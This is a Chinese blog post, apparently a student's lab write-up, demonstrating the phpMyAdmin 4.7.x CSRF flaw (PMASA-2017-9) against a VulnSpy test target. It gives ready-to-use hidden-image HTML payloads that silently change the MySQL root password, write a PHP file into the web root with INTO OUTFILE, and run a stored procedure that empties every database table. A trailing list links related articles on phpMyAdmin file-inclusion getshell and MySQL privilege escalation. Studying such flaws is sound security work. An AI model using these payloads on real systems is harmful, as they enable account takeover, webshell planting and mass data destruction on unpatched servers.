phpMyAdmin 4.7.x CSRF 漏洞利用

phpMyAdmin 4.7.x CSRF 漏洞利用

phpMyAdmin

phpMyAdmin是一个以PHP++(一种开源脚本语言)++为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性


CSRF(PMASA-2017-9)漏洞

phpMyAdmin团队在4.7.7版本中修复了一个危害严重的CSRF漏洞(PMASA-2017-9),攻击者可以通过诱导管理员访问恶意页面,悄无声息地执行任意SQL语句。

我们可以结合VulnSpy的在线phpMyAdmin环境来熟悉该漏洞的利用。


过程

在线 phpMyAdmin CSRF

(PS:注:重启演示靶机即可重置靶机)

1.在线创建 phpMyAdmin 环境

点击 创建VulnSpy 提供的创建靶机地址(https://www.vsplate.com/?github=vulnspy/PMASA-2017-9

跳转到 VSPlate 后,直接点击GO按钮,便会自动创建一个 phpMyAdmin 环境

打开演示地址的链接,我们的 phpMyAdmin 就创建完成了。

使用帐号 root ,密码 toor ,登录 phpMyAdmin 。根据页面信息,我们可以发现当前 phpMyAdmin 的版本为 4.7.6,刚好匹配存在漏洞的 phpMyAdmin 版本。

2.CSRF 漏洞利用 - 修改当前数据库用户密码

如果要利用CSRF来删除或修改数据库内容,通查情况下需要提前知道数据库名、表名和字段名。这样利用显得有点复杂,成功率也有限,因此我做了两个几种较为通用的利用方式。

在MySQL中支持使用SQL语句来修改当前用户密码。比如将当前用户密码修改为www.vulnspy.com,对应的SQL语句为:

SET passsword=PASSWORD(‘www.vulnspy.com‘);

演示:

2.1模拟管理员登录phpMyAdmin的状态

用帐号 root 密码 toor 登录 phpMyAdmin 。

2.2 创建含有恶意代码的页面。

首先建立一个html文件:vi 2.payload.html

简单一点就只让他显示helloworld吧,因为目的是让他打开,内容不重要。

代码如下:

<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password
%20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" />
2.3 用浏览器打开含有恶意代码的文件 2.payload.html

紧接着我们回到2.1中打开的界面,发现已自动退出,而且用原来的密码 toor 已经无法登录

2.4 使用密码 www.vulnspy.com 登录成功,表明利用成功

3.CSRF 漏洞利用 - 写文件

MySQL支持将查询结果写到文件当中,我们可以利用该特性来写入++PHP++文件。比如将代码<?php phpinfo();?>写到文件/var/www/html/test.php中,对应的SQL语句为:

select ‘<?php phpinfo();?>‘ into outfile ‘/var/www/html/test.php‘;

演示:

3.1 修改代码
<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select ‘<?php phpinfo();?>‘ into outfile ‘/var/www/html/test.php‘;" style="display:none;" />
3.2 用浏览器打开含有恶意代码的文件
3.3 访问 test.php

4 CSRF 漏洞利用 - 清空所有数据表

如何做到大范围破坏,并产生直接影响呢,我们可以利用SQL语句来清空当前MySQL用户可操作的所有数据表。

1)获取数据名和表名

SELECT CONCAT(‘DELETE FROM ‘,TABLE_SCHEMA,‘.‘,TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE ‘%_schema‘ and TABLE_SCHEMA!=‘mysql‘ LIMIT 0,1

2)将其拼接成删除语句,通过 execute 来执行生成的删除语句:

set @del = (SELECT CONCAT(‘DELETE FROM ‘,TABLE_SCHEMA,‘.‘,TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE ‘%_schema‘ and TABLE_SCHEMA!=‘mysql‘ LIMIT 0,1);
prepare stmt from @del;
execute stmt;

3)execute 一次只能执行一条SQL语句,因此我们可以利用循环语句来逐一执行

DROP PROCEDURE IF EXISTS EMPT;
DELIMITER $$
    CREATE PROCEDURE EMPT()
    BEGIN
        DECLARE i INT;
        SET i = 0;
        WHILE i < 100 DO
            SET @del = (SELECT CONCAT(‘DELETE FROM ‘,TABLE_SCHEMA,‘.‘,TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE ‘%_schema‘ and TABLE_SCHEMA!=‘mysql‘ LIMIT i,1);
            PREPARE STMT FROM @del;
            EXECUTE STMT;
            SET i = i +1;
        END WHILE;
    END $$
DELIMITER ;
CALL EMPT();

演示:

4.1 payload如下
<p>Hello World</p>
<img src="虚拟地址/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A" style="display:none;" />
4.2 用浏览器打开含有恶意代码的文件
4.3 回到 phpMyAdmin 中查看数据

哎??我们发现:数据库vulnspy_tables和数据库vulnspy_test中的数据已经被清空。

原文地址:https://www.cnblogs.com/fcgfcgfcg/p/9221217.html

时间: 2024-08-21 21:36:06

phpMyAdmin 4.7.x CSRF 漏洞利用的相关文章

20155236范晨歌免考项目:web安全之漏洞利用

PHP和PHPinfo的简单介绍 https://www.cnblogs.com/fcgfcgfcg/p/9234978.html 通过CSRF漏洞加深理解 https://www.cnblogs.com/fcgfcgfcg/p/9244626.html phpMyAdmin 4.7.x CSRF 漏洞利用及phpMyAdmin介绍 https://www.cnblogs.com/fcgfcgfcg/p/9221217.html phpMyAdmin 4.8.x 本地文件包含漏洞利用 https

phpMyAdmin 4.8.x 本地文件包含漏洞利用

今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用不要求root帐号,只需能够登录 phpMyAdmin 便能够利用. 在这篇文章中我们将使用VulnSpy的在线 phpMyAdmin 环境来演示该漏洞的利用. VulnSpy 在线 phpMyAdmin 环境地址:http://www.vulnspy.com/phpmyadmin-4.8.1/ 漏洞细节 参照ChaMd5安全团队发布的文章:phpmya

利用BURPSUITE检测CSRF漏洞

CSRF漏洞的手动判定:修改referer头或直接删除referer头,看在提交表单时,网站是否还是正常响应. 下面演示用Burpsuite对CSRF进行鉴定. 抓包. 成功修改密码完成漏洞的利用. 原文地址:https://www.cnblogs.com/godoforange/p/10834684.html

Mysql数据库渗透及漏洞利用总结

Simeon Mysql数据库是目前世界上使用最为广泛的数据库之一,很多著名公司和站点都使用Mysql作为其数据库支撑,目前很多架构都以Mysql作为数据库管理系统,例如LAMP.和WAMP等,在针对网站渗透中,很多都是跟Mysql数据库有关,各种Mysql注入,Mysql提权,Mysql数据库root账号webshell获取等的,但没有一个对Mysql数据库渗透较为全面对总结,针对这种情况我们开展了研究,虽然我们团队今年正在出版<网络攻防实战研究--漏洞利用与提权>,但技术的进步有无止境,思

csrf漏洞原理

什么是csrf漏洞 CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF. csrf漏洞的危害 你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求.CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全. 经常入选owasp漏洞列表Top10,在

CORS漏洞利用检测和利用方式

CORS全称Cross-Origin Resource Sharing, 跨域资源共享,是HTML5的一个新特性,已被所有浏览器支持,不同于古老的jsonp只能get请求. 检测方式: 1.curl访问网站 curl https://www.huasec.com -H "Origin: https://test.com" -I 检查返回包的 Access-Control-Allow-Origin 字段是否为https://test.com 2.burpsuite发送请求包,查看返回包

Apache漏洞利用与安全加固实例分析

Apache 作为Web应用的载体,一旦出现安全问题,那么运行在其上的Web应用的安全也无法得到保障,所以,研究Apache的漏洞与安全性非常有意义.本文将结合实例来谈谈针对Apache的漏洞利用和安全加固措施. Apache HTTP Server(以下简称Apache)是Apache软件基金会的一个开放源码的网页服务器,可以在大多数计算机操作系统中运行,是最流行的Web服务器软件之一.虽然近年来Nginx和Lighttpd等Web Server的市场份额增长得很快,但Apache仍然是这个领

Zabbix的前台SQL注射漏洞利用

今年8月份Map在wooyun上发了个Zabbix某前台SQL注射漏洞 ,11月份才公开. 漏洞详情大约是这样的: 在zabbix前端存在一个SQL注射漏洞,由于zabbix前台可以在zabbix的server和client进行命令执行,所以这会导致很严重的后果. 在 /chart_bar.php 的163行代码 获取了一个来自GET,POST,COOKIE的值itemid. $itemid = $item['itemid']; 最后这个参数进到了SQL查询的过程 在同一个文件内的$period

《Look Mom, I don’t use Shellcode》议题解析&amp;IE11漏洞利用小议

0x0 前言 <Look Mom, I don't use Shellcode>是2016年Syscan360上讲过的一个议题,这个议题的副标题是"Browser Exploitation Case Study for Internet Explorer 11 ",可以看出内容是关于IE11浏览器中的漏洞利用的. 非常可惜我没有能够在现场听到这个议题,但是在会后拿到了演讲者的ppt研究了一下,这里写出来也是做一个分享. 0x01 正文 这是演讲者的PPT封面 演讲者介绍漏洞